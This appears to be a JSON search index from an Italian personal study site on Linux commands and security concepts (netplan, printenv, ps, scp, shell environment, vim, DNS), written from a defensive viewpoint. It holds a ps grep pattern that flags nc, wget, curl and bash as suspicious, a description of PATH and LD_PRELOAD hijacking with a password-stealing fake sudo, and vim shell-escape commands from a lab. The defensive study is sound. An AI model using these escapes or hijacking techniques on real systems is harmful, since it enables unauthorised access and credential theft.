\u0026#39;echo \u0026#34;network: {config: disabled}\u0026#34; \u0026gt; /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg\u0026#39; Questo file dice a cloud-init di non toccare la configurazione di rete. Da quel momento le modifiche a /etc/netplan/ sono permanenti.\nConfigurazione con due interfacce — NAT + Host-Only # Se la VM ha due interfacce (una NAT per internet, una Host-Only per il lab), la configurazione e':\nnetwork: version: 2 ethernets: enp0s1: dhcp4: true # NAT — DHCP per uscire su internet enp0s2: dhcp4: false # Host-Only — IP fisso per il lab addresses: - 192.168.64.3/24 Scenario Reale # In un SOC, i server di monitoraggio come Wazuh devono avere IP fissi per ricevere log dagli agent. Se l'IP cambia, tutti gli agent perdono la connessione al SIEM. La configurazione netplan con IP statico e' il primo passo per rendere l'infrastruttura di laboratorio stabile e riproducibile.\nDove l'ho usato # Lab UTM — VM Ubuntu Server con IP fisso 192.168.64.3 Collegato a # system — categoria dhcp — contesto: IP statico vs DHCP reservation, perché si sceglie uno o l'altro interfaces — equivalente Debian/Kali, stesso scopo con formato testo ip-subnetting-theory — concetto di subnet e CIDR notation ssh-config-file — usa l'IP fisso per connettersi via alias SSH ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/netplan/","section":"Comandi","summary":"Tool di configurazione di rete su Ubuntu moderno. Legge file YAML in /etc/netplan/ e genera la configurazione per il backend di rete. Usato per assegnare IP statici alle VM di laboratorio.","title":"netplan - network-defense configuration tool","type":"comandi"},{"content":"`\nCosa fa # Stampa le variabili d'ambiente del processo corrente — solo quelle esportate con export, visibili ai processi figli. Non mostra variabili shell locali ne' funzioni bash. Per vedere tutto (variabili locali + d'ambiente + funzioni) si usa set.\nSintassi # printenv [variabile]\nComandi essenziali # Comando Flag Significato flag Cosa fa printenv — — Mostra tutte le variabili d'ambiente printenv USER — — Mostra solo il valore di USER printenv PATH — — Mostra il PATH completo printenv | less — — Naviga l'elenco completo con paginazione printenv | grep -i editor — — Cerca una variabile per nome parziale printenv vs set — differenza # printenv mostra solo le variabili d'ambiente — quelle esportate, ereditate dai processi figli. set mostra tutto: variabili d'ambiente + variabili shell locali + funzioni bash definite nella sessione corrente.\n# Definisci una variabile locale (senza export) x=5 printenv x # nessun output — x non e\u0026#39; esportata set | grep \u0026#34;^x\u0026#34; # mostra: x=5 # Esporta la variabile export x printenv x # ora mostra: 5 printenv vs echo $VAR — differenza # Il risultato e' identico ma il meccanismo e' diverso. echo $USER fa espandere la variabile dalla shell prima di stampare — la shell non sa niente di variabili d'ambiente, vede gia' la stringa espansa. printenv USER interroga direttamente l'ambiente del processo.\nprintenv USER # interroga l\u0026#39;ambiente → barno echo $USER # la shell espande $USER → barno, poi echo stampa la stringa Combinazioni utili # # Tutte le variabili d\u0026#39;ambiente in ordine alfabetico printenv | sort # Cerca variabili che contengono un percorso specifico printenv | grep /usr/bin # Confronta l\u0026#39;ambiente prima e dopo aver modificato un file di startup printenv \u0026gt; prima.txt source ~/.bashrc printenv \u0026gt; dopo.txt diff prima.txt dopo.txt Scenario Reale # Durante un'analisi forense su un sistema compromesso, un analista confronta le variabili d'ambiente dell'utente sospetto con quelle di un utente normale. Una variabile LD_PRELOAD impostata a un path insolito e' un segnale di library hijacking — una tecnica usata per intercettare chiamate di sistema.\nDove l'ho usato # shell-environment — contesto teorico delle variabili d'ambiente Note personali # printenv | less e' il punto di partenza quando vuoi capire l'ambiente di una shell sconosciuta — ti da' un quadro completo di PATH, HOME, SHELL, EDITOR e tutte le variabili custom impostate. Collegato a # system — categoria export — per esportare variabili nell'ambiente shell-environment — concetto teorico echo — alternativa per leggere singole variabili ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/printenv/","section":"Comandi","summary":"Mostra le variabili d'ambiente esportate, visibili ai processi figli. A differenza di set, non mostra variabili shell locali ne' funzioni bash.","title":"printenv - print environment","type":"comandi"},{"content":" Cosa fa # Mostra uno snapshot istantaneo dei processi in esecuzione sul sistema. A differenza di top, non si aggiorna in tempo reale — produce output testuale pipabile. Ogni processo ha un PID assegnato in ordine crescente; systemd ha sempre PID 1.\nSintassi # ps [opzioni]\nComandi essenziali # Comando Flag Significato flag Cosa fa ps — — Mostra solo i processi della sessione corrente ps x x all processes Tutti i processi dell'utente corrente, anche senza terminale ps ax a x all + all processes Tutti i processi di tutti gli utenti ps aux a u x all + user-oriented + all Vista completa: utente, PID, CPU%, MEM%, comando ps uw PID u w user-oriented + wide Dettaglio di un PID specifico senza troncare la riga ps -p PID -o pid,user,etime,cmd -p -o pid filter + output format Colonne personalizzate per un PID specifico Leggere l'output di ps aux # USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 168580 13204 ? Ss Mar23 0:02 /sbin/init barno 4821 99.9 2.1 45200 8100 pts/0 R+ 03:14 6:02 python3 /tmp/miner.py barno 78286 0.0 0.0 8356 5032 ? Ss 04:16 0:00 bash │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └─ comando completo con argomenti │ │ │ │ │ │ │ │ │ └─ tempo CPU totale consumato │ │ │ │ │ │ │ │ └─ ora o data di avvio │ │ │ │ │ │ │ └─ stato processo (vedi tabella STAT) │ │ │ │ │ │ └─ terminale: pts/N = sessione interattiva, ? = nessun terminale │ │ │ │ │ └─ RSS: RAM fisica usata (kilobyte) │ │ │ │ └─ VSZ: memoria virtuale totale allocata (kilobyte) │ │ │ └─ %MEM: percentuale RAM fisica │ │ └─ %CPU: percentuale CPU istantanea │ └─ PID: identificativo univoco del processo └─ USER: utente proprietario del processo ^ bash con TTY \u0026#34;?\u0026#34; e %CPU 0 potrebbe essere una reverse shell dormiente — verifica con ss -tp Note TTY = TeleTYpewriter — nome storico dei telescriventi fisici anni '70 collegati ai mainframe. Oggi indica qualsiasi terminale: pts/N e' un terminale virtuale (SSH, tmux), tty1 e' una console fisica, ? significa nessun terminale associato. Non ha relazione con le variabili PS1/PS2 della shell.\nCodici STAT — stato del processo # Codice Significato R Running — in esecuzione o in coda CPU S Sleeping — in attesa di un evento D Uninterruptible sleep — attesa I/O disco, non interrompibile Z Zombie — terminato ma non ancora raccolto dal padre s Session leader — capostipite del gruppo di processi N Nice — bassa priorita' + In foreground nel terminale corrente Colonna TTY — terminale associato # Valore Significato pts/0, pts/1... Pseudo-terminal slave — terminale virtuale (SSH, tmux, terminale GUI) ? Nessun terminale — processo di sistema o demone tty1... Terminale fisico o console In incident response: un processo bash con TTY ? e una connessione ESTABLISHED in ss -tp e' il segnale di una reverse shell. Un bash su pts/N e' una sessione interattiva normale.\nCombinazioni utili # # Cerca un processo per nome — il grep -v evita che grep trovi se stesso ps aux | grep nginx | grep -v grep # Cerca processi sospetti per nome (incident response) ps aux | grep -i \u0026#34;python\\|nc\\|wget\\|curl\\|bash\u0026#34; | grep -v grep # Top 10 processi per consumo CPU ps aux --sort=-%cpu | head -10 # Top 10 processi per consumo RAM ps aux --sort=-%mem | head -10 # Da quanto gira un processo specifico? ps -p 4821 -o pid,user,etime,cmd # etime = elapsed time — formato [[GG-]HH:]MM:SS Scenario Reale # Durante un'analisi di incident response, un analista trova il server lento alle 03:14. Il primo comando da eseguire e' ps aux --sort=-%cpu | head -10 — se un processo consuma il 99% della CPU a quell'ora e' un segnale forte. Con il PID trovato si puo' risalire a chi lo ha lanciato, da dove e da quanto gira, prima di procedere al contenimento.\nDove l'ho usato # linux-processes — contesto teorico dei processi Note personali # Tip ps aux | grep processo | grep -v grep — il secondo grep -v grep e' essenziale. Senza, grep comparirebbe nei risultati mentre cerca se stesso, generando falsi positivi.\nCollegato a # system — categoria kill — per terminare i processi trovati con ps jobs-fg-bg — gestione foreground e background linux-processes — concetto teorico ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/ps/","section":"Comandi","summary":"Mostra uno snapshot dei processi in esecuzione con PID, utente, CPU e memoria. Fondamentale in incident response per identificare processi sospetti.","title":"ps - process status","type":"comandi"},{"content":"`\nCosa fa # Copia file e directory tra macchine usando SSH come trasporto. Funziona esattamente come cp ma attraverso la rete — stessa sintassi, stessa logica, con l'aggiunta delle credenziali remote. Supporta ~/.ssh/config, quindi funziona con gli alias SSH definiti li'.\nSintassi # scp [opzioni] sorgente destinazione\nLa sorgente e la destinazione possono essere locali o remote. Il formato per un percorso remoto e' utente@host:/percorso.\nComandi essenziali # Comando Flag Significato flag Cosa fa scp file.txt utente@host:/path/ — — Copia file locale su server remoto scp utente@host:/path/file.txt . — — Copia file remoto in locale (. = directory corrente) scp -r dir/ utente@host:/path/ -r recursive Copia una directory intera ricorsivamente scp -P 2222 file.txt utente@host:/path/ -P Port Specifica una porta SSH non standard (maiuscola) scp -i ~/.ssh/chiave file.txt utente@host:/path/ -i identity file Specifica la chiave privata da usare scp -C file.txt utente@host:/path/ -C Compress Comprime i dati durante il trasferimento scp -v file.txt utente@host:/path/ -v verbose Output dettagliato — utile per debug Esempi pratici # # 1. Copia file locale su server remoto scp /path/locale/file.txt barno@192.168.64.3:/home/barno/ # 2. Copia file remoto in locale scp barno@192.168.64.3:/var/log/auth.log ~/Downloads/ # 3. Copia directory intera su server remoto scp -r /path/locale/cartella/ barno@192.168.64.3:/home/barno/ # 4. Copia directory da remoto in locale scp -r barno@192.168.64.3:/home/barno/progetto/ ~/Desktop/ # 5. Copia tra due server remoti scp barno@server1:/path/file.txt barno@server2:/path/destinazione/ # 6. Porta SSH non standard (come OverTheWire) scp -P 2220 barno@ctf.labs.overthewire.org:/home/bandit0/file.txt . Con ~/.ssh/config — alias invece di IP # Se hai configurato ~/.ssh/config sul Mac, puoi usare l'alias direttamente invece di scrivere utente@IP ogni volta.\n# ~/.ssh/config sul Mac: # Host ubuntu-lab # HostName 192.168.64.3 # User barno # Port 22 # Senza alias — verboso scp barno@192.168.64.3:/var/log/auth.log ~/Downloads/ # Con alias — pulito scp ubuntu-lab:/var/log/auth.log ~/Downloads/ # Directory con alias scp -r ubuntu-lab:/home/barno/script/ ~/Desktop/ Combinazioni utili # # Scaricare un log di autenticazione dalla VM per analizzarlo in locale scp ubuntu-lab:/var/log/auth.log ~/Desktop/auth-$(date +%Y%m%d).log # Caricare uno script Python sulla VM per eseguirlo scp failed_logins.py ubuntu-lab:/home/barno/ # Backup rapido di una directory di configurazione scp -r ubuntu-lab:/etc/netplan/ ~/backups/netplan-backup/ scp vs rsync # scp e' semplice e immediato per trasferimenti singoli. rsync e' piu' efficiente per sincronizzazioni ripetute — trasferisce solo le differenze. Per il lab, scp e' sufficiente.\nrsync Sincronizza e cancella sul destinatario i file che non esistono più nella sorgente rsync -av --delete sorgente/ destinazione/\nScenario Reale # Un analista ha generato eventi SSH falliti sulla VM Ubuntu e vuole analizzare auth.log con strumenti locali sul Mac. Invece di leggere il file direttamente sul server, usa scp ubuntu-lab:/var/log/auth.log ~/Desktop/ per scaricarlo in locale, dove puo' usare editor grafici, grep, o caricarlo in un tool di analisi log senza dipendere dalla connessione SSH.\nDove l'ho usato # Lab UTM — trasferimento file tra Mac e VM Ubuntu Server Note personali # Il flag porta di scp e' -P maiuscola, mentre in ssh e' -p minuscola. E' una delle inconsistenze storiche piu' fastidiose di Unix — da ricordare. scp ubuntu-lab:/var/log/auth.log . — il punto finale e' la directory corrente. Molto piu' rapido che scrivere il path completo ogni volta. Collegato a # network — categoria system — categoria ssh — protocollo di trasporto sottostante ssh-config-file — gli alias definiti li' funzionano direttamente con scp netplan — la VM deve avere IP fisso per rendere scp affidabile ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/scp/","section":"Comandi","summary":"Copia file tra host locale e remoto (o tra due host remoti) usando il protocollo SSH come trasporto. Stesso sistema di autenticazione e sicurezza di SSH, incluso il supporto a ~/.ssh/config.","title":"scp - secure copy","type":"comandi"},{"content":" Cosa fa # L'ambiente shell e' l'insieme di informazioni disponibili alla shell e ai processi che lancia. Include variabili d'ambiente (esportate, ereditate dai figli), variabili locali (solo la shell corrente), alias e funzioni. Ogni processo figlio riceve una copia dell'ambiente del padre al momento del lancio.\nTL;DR # Quando apri un terminale, bash legge i file di startup e costruisce il tuo ambiente. Ogni programma che lanci eredita una copia di quell'ambiente.\nfile di startup (.bashrc, .profile) │ ▼ shell corrente ├── variabili locali → solo qui, non ereditati ├── variabili d\u0026#39;ambiente → esportate, ereditate dai figli ├── alias → solo qui, non ereditati └── funzioni → solo qui, non ereditate │ ▼ fork() + exec() processo figlio (es. python3, grep, ssh) └── riceve COPIA delle variabili d\u0026#39;ambiente NON riceve alias, funzioni, variabili locali Variabili locali vs variabili d'ambiente # # Variabile locale — esiste solo nella shell corrente x=5 echo $x # 5 bash -c \u0026#39;echo $x\u0026#39; # nessun output — il figlio non la vede # Variabile d\u0026#39;ambiente — esportata, visibile ai figli export y=10 echo $y # 10 bash -c \u0026#39;echo $y\u0026#39; # 10 — il figlio la vede La differenza non e' dove viene definita, ma se e' stata marcata con export.\nLe variabili d'ambiente principali # PATH # directory dove cercare gli eseguibili, separate da : HOME # home directory dell\u0026#39;utente corrente (/home/barno) USER # nome utente corrente SHELL # shell in uso (/bin/bash o /usr/bin/zsh) EDITOR # editor di testo preferito (vim, nano) LANG # lingua e codifica (it_IT.UTF-8) MANWIDTH # larghezza output di man in caratteri HISTSIZE # numero di comandi tenuti in memoria nella sessione PS1 # prompt principale — quello che vedi prima di ogni comando PS2 # prompt secondario — continua su riga successiva (il \u0026gt;) PS3 # prompt del comando select negli script bash. select è un costrutto per menu interattivi — PS3 è la domanda che viene mostrata all\u0026#39;utente. PS4 # prompt del debug mode. Quando attivi set -x in bash per vedere ogni comando eseguito, PS4 è il prefisso che appare davanti a ogni riga di debug. Default è +. # PS1 default su Ubuntu: # barno@hostname:~$ # PS1 con orario — utile su server per correlare azioni con i log export PS1=\u0026#34;[\\t] \\u@\\h:\\w\\$ \u0026#34; # [\\t] = orario HH:MM:SS # \\u = username # \\h = hostname # \\w = directory corrente # \\$ = $ se utente normale, # se root # Risultato: # [07:14:32] barno@barno-server:~$ # PS1 con colori (quello che vedi su zsh/Oh My Zsh) export PS1=\u0026#34;\\[\\e[32m\\]\\u@\\h\\[\\e[0m\\]:\\[\\e[34m\\]\\w\\[\\e[0m\\]\\$ \u0026#34; # \\[\\e[32m\\] = verde # \\[\\e[34m\\] = blu # \\[\\e[0m\\] = reset colore Su server di produzione metti sempre l'orario nel PS1 — quando lavori su piu' server in parallelo con tmux, il timestamp nel prompt ti aiuta a correlare le tue azioni con i log di sistema senza dover fare date ogni volta. Per renderlo permanente\n# Aggiungi in ~/.bashrc echo \u0026#39;export PS1=\u0026#34;[\\t] \\u@\\h:\\w\\$ \u0026#34;\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc Come viene costruito l'ambiente — i file di startup # L'ambiente non nasce dal nulla: bash legge file di configurazione in ordine preciso all'avvio, a seconda del tipo di sessione.\nSHELL DI LOGIN (SSH, console TTY, su -) ───────────────────────────────────────── /etc/profile → globale, tutti gli utenti │ ▼ ~/.bash_profile → personale, letto se esiste ~/.bash_login → letto se .bash_profile non esiste ~/.profile → letto se nessuno dei precedenti esiste (default su Ubuntu — .bash_profile non c\u0026#39;e\u0026#39;) │ ▼ di solito ~/.bash_profile chiama: source ~/.bashrc SHELL NON-LOGIN (nuovo terminale in GUI, tmux) ─────────────────────────────────────────────── /etc/bash.bashrc → globale, tutti gli utenti │ ▼ ~/.bashrc → personale Note Su Ubuntu non esiste ~/.bash_profile di default. La shell di login legge ~/.profile, che a sua volta chiama ~/.bashrc. Tutto converge su ~/.bashrc — e' li' che metti alias e variabili personali.\nPATH — come funziona la ricerca degli eseguibili # digiti: ls │ ▼ shell legge $PATH: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin │ ▼ cerca in ordine /usr/local/sbin/ls → non esiste /usr/local/bin/ls → non esiste /usr/sbin/ls → non esiste /usr/bin/ls → TROVATO → esegui Se il comando non si trova in nessuna directory del PATH: bash: ls: command not found\n# Dove si trova un eseguibile? which ls # /usr/bin/ls which python3 # /usr/bin/python3 # Aggiungi una directory al PATH export PATH=$PATH:/opt/nuovo-tool/bin Perche' e' importante per il Blue Team # L'ambiente e' un vettore di attacco. Un attaccante che modifica i dotfile puo':\nRidefinire PATH per far eseguire un binario malevolo al posto di quello legittimo Aggiungere LD_PRELOAD per iniettare una libreria in tutti i processi Modificare EDITOR o PAGER per eseguire codice quando certi comandi vengono usati Usare gli alias per nascondere processi o file # Segnali da cercare in un sistema sospetto printenv | grep -i \u0026#34;ld_preload\\|ld_library\u0026#34; # library hijacking alias | grep -v \u0026#34;^alias ll\\|^alias la\u0026#34; # alias insoliti cat ~/.bashrc | grep -v \u0026#34;^#\u0026#34; # modifiche ai dotfile Scenario Reale # Un analista esamina un server compromesso. Trova in ~/.bashrc la riga export PATH=/tmp/.hidden:$PATH. La directory /tmp/.hidden/ contiene un binario chiamato sudo che raccoglie le password prima di passarle al sudo reale. Ogni volta che l'utente usa sudo, la sua password viene silenziosamente registrata. Il PATH modificato fa si' che la shell trovi il falso sudo prima di quello vero in /usr/bin/.\nDove l'ho incontrato # shell-interattiva — dotfile e tipi di sessione export — come esportare variabili nell'ambiente printenv — come leggere l'ambiente Collegato a # system — categoria printenv — leggere l'ambiente export — esportare variabili alias — personalizzazione ambiente shell-interattiva — tipi di sessione e dotfile ","date":"24 marzo 2026","externalUrl":null,"permalink":"/concetti/shell-environment/","section":"Concetti","summary":"L'ambiente shell e' l'insieme di variabili d'ambiente ereditate dai processi figli. Distingue variabili locali (solo shell corrente) da variabili d'ambiente (esportate, visibili ai figli).","title":"Shell Environment - ambiente shell","type":"concetti"},{"content":" Cosa fa # Editor di testo modale a riga di comando. A differenza degli editor grafici, vim ha modalita' distinte: in Normal mode i tasti sono comandi, in Insert mode si scrive testo. Presente su tutti i sistemi Unix anche minimali — conoscerlo e' requisito per lavorare su server remoti senza interfaccia grafica.\nSintassi # vim [system]\nvi vs vim # vi e' l'editor originale scritto da Bill Joy nel 1976. vim (Vi IMproved) e' la versione moderna — aggiunge syntax highlighting, undo multiplo, split window, plugin e molto altro. Su quasi tutti i sistemi Linux moderni vi e' un alias o symlink a vim.\n# Verifica cosa e\u0026#39; vi sul tuo sistema ls -la $(which vi) # se e\u0026#39; un symlink → punta a vim vi --version # se risponde VIM → e\u0026#39; vim Le tre modalita' # NORMAL MODE INSERT MODE VISUAL MODE (navigazione e comandi) (scrittura testo) (selezione) │ │ │ │ i / a / o │ Esc │ Esc │─────────────────────────►│◄───────────────────────│ │ │ │ v / V / Ctrl+v │ │───────────────────────────────────────────────────►│ │◄───────────────────────────────────────────────────│ Esc Quando apri vim sei sempre in Normal mode. Tutti i tasti sono comandi, non scrivono testo.\nEntrare e uscire dalle modalita' # Tasto Da A Significato i Normal Insert insert — inserisci prima del cursore a Normal Insert append — inserisci dopo il cursore A Normal Insert Append — inserisci a fine riga o Normal Insert open — apri nuova riga sotto e inserisci O Normal Insert Open — apri nuova riga sopra e inserisci v Normal Visual visual — selezione carattere per carattere V Normal Visual Visual — selezione riga intera Ctrl+v Normal Visual selezione blocco rettangolare Esc qualsiasi Normal torna sempre a Normal mode Navigazione — Normal mode # Tasto Significato lettera Cosa fa h h = sinistra (Vim layout) Un carattere a sinistra l l = destra (Vim layout) Un carattere a destra j j = freccia giu' in Vim Una riga in giu' k k = freccia su in Vim Una riga in su' 0 zero = inizio assoluto Inizio della riga corrente ^ caret = primo non-spazio Primo carattere non-whitespace della riga $ dollar = fine riga (regex) Fine della riga corrente w word Inizio della parola successiva (include punteggiatura) W Word (maiuscola) Inizio della parola successiva (ignora punteggiatura) b back Inizio della parola precedente B Back (maiuscola) Inizio della parola precedente (ignora punteggiatura) Ctrl+f forward Una pagina avanti Ctrl+b backward Una pagina indietro nG Go to line n Vai alla riga n (es. 1G = prima riga, 20G = riga 20) G Go (fine) Vai all'ultima riga del file gg go go Vai alla prima riga (alternativa a 1G) Eliminare testo — Normal mode # Il pattern e': [numero] operatore [movimento]\nComando Significato Cosa fa x x = taglia un carattere Elimina il carattere sotto il cursore 3x 3x = taglia 3 caratteri Elimina il carattere corrente e i 2 successivi dd delete delete = delete line Elimina la riga corrente (finisce nel registro — e' un taglia) 5dd 5 delete delete Elimina 5 righe a partire da quella corrente dw delete word Elimina dalla posizione corrente all'inizio della parola successiva dW delete Word Come dw ma ignora la punteggiatura d$ delete to end Elimina dalla posizione corrente alla fine della riga d0 delete to zero Elimina dalla posizione corrente all'inizio della riga d^ delete to first char Elimina fino al primo carattere non-whitespace dG delete to end of file Elimina dalla riga corrente alla fine del file d20G delete to line 20 Elimina dalla riga corrente alla riga 20 Note dd non e' un vero \u0026quot;delete\u0026quot; — e' un taglia. Il contenuto va nel registro e puo' essere incollato con p. Se vuoi eliminare senza salvare nel registro usa \u0026quot;_dd (registro blackhole).\nCopiare e incollare — Normal mode # In vim \u0026quot;yank\u0026quot; significa copiare. La y sta per yank — tirare/strappare.\nComando Significato Cosa fa yy yank yank = yank line Copia la riga corrente nel registro 5yy 5 yank yank Copia 5 righe a partire da quella corrente yw yank word Copia dalla posizione corrente all'inizio della parola successiva y$ yank to end Copia dalla posizione corrente alla fine della riga y0 yank to zero Copia dalla posizione corrente all'inizio della riga y^ yank to first char Copia fino al primo carattere non-whitespace yG yank to end of file Copia dalla riga corrente alla fine del file y20G yank to line 20 Copia dalla riga corrente alla riga 20 p paste Incolla dopo il cursore (o sotto la riga per dd/yy) P Paste (maiuscola) Incolla prima del cursore (o sopra la riga) Undo e redo # Comando Significato Cosa fa u undo Annulla l'ultima modifica U Undo line Annulla tutte le modifiche alla riga corrente Ctrl+r redo Rifai l'ultima modifica annullata Unire righe # Comando Significato Cosa fa J Join Unisce la riga corrente con quella successiva (aggiunge uno spazio) Cerca e sostituisci # # Cerca in avanti /parola # cerca \u0026#34;parola\u0026#34; verso il basso ?parola # cerca \u0026#34;parola\u0026#34; verso l\u0026#39;alto n # prossima occorrenza (next) N # occorrenza precedente # Sostituisci — sintassi: :[range]s/vecchio/nuovo/[flag] :s/vecchio/nuovo/ # sostituisce prima occorrenza nella riga corrente :s/vecchio/nuovo/g # sostituisce tutte le occorrenze nella riga corrente # g = global (tutte le occorrenze della riga) :%s/vecchio/nuovo/g # sostituisce in tutto il file # % = shortcut per \u0026#34;dalla prima all\u0026#39;ultima riga\u0026#34; :%s/vecchio/nuovo/gc # chiede conferma per ogni sostituzione # c = confirm :1,5s/vecchio/nuovo/g # sostituisce solo nelle righe 1-5 :1,$s/vecchio/nuovo/g # equivalente a :%s ($ = ultima riga) Salvare e uscire — Command mode (:) # Comando Significato Cosa fa :w write Salva il file :w nomefile write to file Salva con nuovo nome :q quit Esci (solo se non ci sono modifiche non salvate) :q! quit force Esci senza salvare — forza l'uscita :wq write quit Salva ed esci :wq! write quit force Salva ed esci forzatamente ZZ shortcut per :wq Salva ed esci (solo se il file e' stato modificato) ZQ shortcut per :q! Esci senza salvare Lavorare con piu' file # # Aprire piu\u0026#39; file dalla riga di comando vim file1.txt file2.txt # Vedere i buffer aperti :buffers # o equivalente: :ls # Passare al buffer successivo/precedente :bn # buffer next :bp # buffer previous :b2 # vai al buffer numero 2 # Aprire un file aggiuntivo mentre sei in vim :e nomefile.txt # e = edit # Copiare contenuto da un buffer all\u0026#39;altro :buffer 1 # vai al buffer 1 yy # copia la riga :buffer 2 # vai al buffer 2 p # incolla Configurazione — ~/.vimrc # Il file ~/.vimrc e' il dotfile di configurazione di vim. Viene letto all'avvio.\n# Contenuto minimo consigliato per ~/.vimrc set number \u0026#34; mostra i numeri di riga set relativenumber \u0026#34; numeri relativi alla riga corrente (utile per 5dd, 3j) set syntax on \u0026#34; syntax highlighting set tabstop=4 \u0026#34; tab = 4 spazi set expandtab \u0026#34; converte tab in spazi set autoindent \u0026#34; indentazione automatica set hlsearch \u0026#34; evidenzia i risultati della ricerca set incsearch \u0026#34; cerca mentre digiti set ignorecase \u0026#34; ricerca case-insensitive set smartcase \u0026#34; case-sensitive se la query ha maiuscole set cursorline \u0026#34; evidenzia la riga corrente colorscheme desert \u0026#34; schema colori (usa :colorscheme \u0026lt;Tab\u0026gt; per vedere le opzioni) # Aprire e modificare il vimrc da dentro vim :e ~/.vimrc # Ricaricare il vimrc senza uscire :source ~/.vimrc \u0026#34; oppure il shortcut: :so % Tip set relativenumber e' una delle impostazioni piu' utili per chi usa vim seriamente. Mostra la distanza relativa di ogni riga dal cursore — cosi' 5dd (elimina 5 righe) o 3j (scendi 3 righe) diventano visivamente immediati senza dover contare.\nCombinazioni utili # # Escape da shell ristretta via vim (vedi more.md e bandit-25) :set shell=/bin/bash :shell # oppure direttamente: :!/bin/bash # Eseguire un comando shell senza uscire da vim :!ls -la :!python3 script.py # Inserire l\u0026#39;output di un comando nel file :r !date # inserisce la data corrente nella posizione del cursore :r !ls # inserisce la lista dei file # Vai alla riga N rapidamente :42 # vai alla riga 42 42G # equivalente Scenario Reale # Un analista deve modificare /etc/ssh/sshd_config su un server remoto senza interfaccia grafica per disabilitare il login con password. Apre il file con sudo vim /etc/ssh/sshd_config, usa /PasswordAuthentication per trovare la riga, preme n per navigare alle occorrenze, poi i per entrare in Insert mode e modifica il valore. Salva con :wq e ricarica il servizio. Conoscere vim e' l'unica opzione quando non c'e' nano installato o quando il file e' troppo grande per editor grafici.\nDove l'ho usato # bandit-25 — escape da shell ristretta via more → v → vim Note personali # Important La prima cosa da imparare e' sempre :q! — come uscire senza fare danni. Poi i per scrivere e Esc + :wq per salvare. Con questi tre comandi sopravvivi su qualsiasi server.\nTip Esegui vimtutor nel terminale — e' un tutorial interattivo incluso in vim che insegna le basi in circa 30 minuti direttamente nell'editor.\nCollegato a # system — categoria file — categoria more — vim e' raggiungibile da more con il tasto v less — less usa la stessa logica di navigazione h/j/k/l shell-interattiva — ~/.vimrc e' un dotfile letto all'avvio ","date":"24 marzo 2026","externalUrl":null,"permalink":"/comandi/vim/","section":"Comandi","summary":"Editor di testo modale a riga di comando. Tre modalita' principali: Normal (navigazione e comandi), Insert (scrittura), Visual (selezione). Presente su tutti i sistemi Unix — sapere aprire e chiudere un file e' requisito minimo.","title":"vim - Vi IMproved","type":"comandi"},{"content":" TL;DR Prima di mandare qualsiasi pacchetto in rete, il sistema cerca la risposta in cache - browser, OS, /etc/hosts Se non trova niente, chiede al resolver ISP (es. 8.8.8.8) che fa il lavoro sporco Il resolver risale la gerarchia: Root Server → TLD Server → Nameserver autoritativo La risposta torna con un TTL - un timer che dice quanto tenerla in cache prima di richiederla ▶ $ history nslookup example.com nslookup -type=MX example.com dig example.com dig +trace example.com dig -x 8.8.8.8 Ogni volta che scrivi un dominio nel browser e premi invio, parte una catena di eventi che la maggior parte delle persone non vede mai. Il risultato finale è un indirizzo IP - ma il percorso per arrivarci attraversa cache locali, server distribuiti in tutto il mondo e una gerarchia precisa.\nIl ciclo di vita di una query # 1. Controllo della cache locale # Prima di uscire in rete, il sistema cerca la risposta in casa. L'ordine è preciso:\nCache del browser - Chrome, Firefox e Safari tengono una cache DNS propria. Se hai visitato quel dominio di recente, la risposta è già lì. Cache del sistema operativo - se il browser non ha niente, chiede all'OS. /etc/hosts - file locale che mappa domini a IP senza passare per nessun server. Ha la precedenza su tutto il resto. Solo se tutte e tre restituiscono vuoto, la query esce dalla macchina.\n2. Il resolver ISP # La prima tappa esterna è il resolver ricorsivo - di solito fornito dall'ISP, oppure uno pubblico come 8.8.8.8 (Google) o 1.1.1.1 (Cloudflare).\nIl resolver è un intermediario: riceve la domanda, si ricorda la risposta per i prossimi che la chiedono, e se non ce l'ha in cache inizia la scalata gerarchica per conto tuo.\n3. La scalata gerarchica # Se il resolver non ha la risposta in cache, risale la gerarchia DNS dal basso verso l'alto:\nRoot Server → TLD Server → Nameserver autoritativo . es. .it / .com ns1.example.com Root Server - ci sono 13 indirizzi root nel mondo (con centinaia di istanze fisiche tramite anycast). Sanno solo una cosa: dove sono i server TLD.\nTLD Server - gestisce un dominio di primo livello (.it, .com, .net). Sa dove sono i nameserver di ogni dominio sotto di lui.\nNameserver autoritativo - è il server che conosce la risposta vera. Contiene la zona DNS del dominio: tutti i record, tutti gli IP.\n4. La risposta autoritativa # Il nameserver risponde con il record richiesto - di solito un record A (IPv4) o AAAA (IPv6). La risposta torna al resolver, che la mette in cache e la passa al client.\nTTL - il timer della cache # Ogni risposta DNS porta un campo TTL (Time To Live), espresso in secondi. Dice a chi riceve la risposta per quanto tempo può tenerla in cache prima di dover fare una nuova query.\nexample.com. 300 IN A 93.184.216.34 ↑ TTL: 300 secondi = 5 minuti TTL basso → aggiornamenti veloci, più query, più carico sui server. TTL alto → meno query, cache più lunga, propagazione più lenta in caso di cambio IP.\nI record DNS fondamentali # Record Significato A Dominio → IPv4 AAAA Dominio → IPv6 CNAME Alias di un altro dominio MX Server di posta con priorità TXT Testo libero - usato per SPF, DKIM, verifica dominio PTR IP → Dominio (reverse DNS) Angolazione Blue Team - i rischi DNS # Il DNS è un protocollo vecchio, progettato senza sicurezza in mente. Tre rischi da tenere sul radar:\nDNS Hijacking - l'attaccante modifica le risposte DNS, reindirizzando il traffico verso server controllati da lui. Può avvenire a livello di resolver, di registrar o tramite malware che modifica /etc/hosts.\nDNS Cache Poisoning - l'attaccante inietta risposte false nella cache di un resolver. Chi chiede quel dominio riceve l'IP sbagliato senza saperlo. DNSSEC è la contromisura principale.\nDNS Tunneling - il protocollo DNS viene usato come canale di comunicazione nascosto. I dati vengono codificati nei nomi di dominio delle query e nelle risposte. Difficile da bloccare perché il DNS deve passare quasi ovunque.\nexit 0 # Il DNS sembra semplice dall'esterno - digiti un dominio, ottieni un IP. Sotto ci sono cache stratificate, una gerarchia globale di server e un protocollo di 40 anni che regge 